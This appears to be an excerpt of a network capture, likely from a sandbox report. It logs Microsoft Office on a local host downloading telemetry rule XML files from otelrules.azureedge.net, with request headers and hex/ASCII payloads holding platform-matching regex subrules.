2024-11-18 07:55:28 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:28 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075528Z-16547b76f7ftnm6xhC1DFW9c8c000000051000000000essg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:28 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075528Z-16547b76f7fwcwmrhC1DFWtp04000000018g00000000kweu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:28 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075528Z-16547b76f7f64d6whC1DFWf9vn000000041g000000009czb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:28 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075528Z-16547b76f7fr5rfnhC1DFW0am400000002vg00000000heva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:28 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075528Z-16547b76f7fgfpmjhC1DFWw6ec00000004wg00000000cm9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075529Z-16547b76f7ff9zf4hC1DFW2pfc0000000360000000001cfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075529Z-1866b5c5fbbfkdfghC1DFW4sv400000004g000000000dmx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075529Z-16547b76f7f6892shC1DFWawd000000002gg0000000061pd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075529Z-16547b76f7fl5zvnhC1DFWtk9g000000040g000000001fr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:29 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:29 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075529Z-16547b76f7fhvzzthC1DFW557000000005pg000000002f6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075530Z-16547b76f7ftnm6xhC1DFW9c8c000000056g000000001h0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
